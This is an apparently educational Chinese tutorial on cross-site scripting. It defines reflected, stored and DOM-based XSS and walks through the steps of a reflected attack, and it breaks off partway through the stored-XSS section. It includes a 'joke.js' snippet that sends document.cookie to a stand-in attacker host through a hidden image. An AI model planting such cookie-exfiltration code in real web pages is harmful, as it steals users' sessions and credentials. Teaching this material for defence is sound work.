什么是XSS攻击
XSS(Cross Site Scripting)中文名称是:跨站脚本攻击。XSS重点不在跨站,而在于执行的脚本。
XSS的原理是指攻击者利用网站的安全漏洞,向web页面中插入一段恶意的script代码,当用户浏览网页时,执行脚本,攻击者就可以非法获取用户的敏感信息(如cookie、账号密码等),从而达到攻击的目的。
XSS的类型
从攻击代码的工作方式可以分为三个类型:
1、反射型XSS。反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
2、存储型XSS。最直接的危害类型,跨站代码存储在服务器(数据库)。
3、DOM-based XSS。客户端脚本处理逻辑导致的安全问题。
存储型XSS将攻击代码存储在服务器上,属于持久型攻击。
反射型XSS也被称为非持久型攻击。
DOM-based XSS,页面本身不变,只是对DOM环境的恶意修改。
反射型XSS
反射性XSS的原理是:攻击者一般会通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。
反射性XSS又可以叫做非持久性XSS。为什么叫反射型XSS呢?那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的,而为什么又叫非持久性XSS呢?那是因为这种攻击方式只有一次性。
反射型XSS通常出现在恶意URL链接、网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
反射型XSS的攻击步骤是:
1、攻击者在正常的url后面加上恶意攻击代码,然后诱导用户点击
2、当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。
3、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
4、攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。
1.png
示例:用户打开了一个攻击者拼接的恶意链接,攻击者获取到用户的cookie
简单粗暴型(直接把用户cookie加在url地址上)
http://www.A.com?name=
更加隐蔽型(增加一层伪装)
http://www.A.com?name=
// joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src='http://www.hacker.com?getCookie.php?joke=encodeURIComponent(document.cookie)'
存储型XSS
存储型XSS的原理是:攻击者将XSS代码提交并存储到服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。<